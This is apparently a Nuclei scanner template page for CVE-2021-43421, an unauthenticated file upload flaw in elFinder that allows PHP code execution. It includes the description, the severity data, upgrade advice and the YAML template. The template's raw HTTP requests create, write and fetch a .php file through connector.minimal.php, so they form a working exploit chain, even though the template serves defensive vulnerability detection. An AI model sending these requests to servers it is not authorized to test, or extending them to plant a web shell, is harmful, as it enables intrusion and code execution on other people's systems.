Studio-42 elFinder <2.1.60 - Arbitrary File Upload

ID: CVE-2021-43421

Severity: critical

Author: akincibor

Tags: cve,cve2021,elfinder,fileupload,rce,intrusive,std42

Description

Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.

YAML Source

id: CVE-2021-43421

info:
  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
    Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to upload malicious files to the server and execute arbitrary code.
  remediation: |
    Upgrade to the latest version of Studio-42 elFinder plugin (2.1.60 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
    - https://twitter.com/infosec_90/status/1455180286354919425
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43421
    cwe-id: CWE-434
    epss-score: 0.05253
    epss-percentile: 0.93023
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: std42
    product: elfinder
  tags: cve,cve2021,elfinder,fileupload,rce,intrusive,std42

http:
  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "{{randstr_1}}")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
# digest: 490a00463044022016bbfbfc84897e5b28864c04d803c47a731117ebf6c5a95dc5c6b345ceb3ce7102205d5486722d1f7bda9d79f83e05c9c9b419ce9553bece68963f198bc0d6993c8e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43421.yaml"

View on Github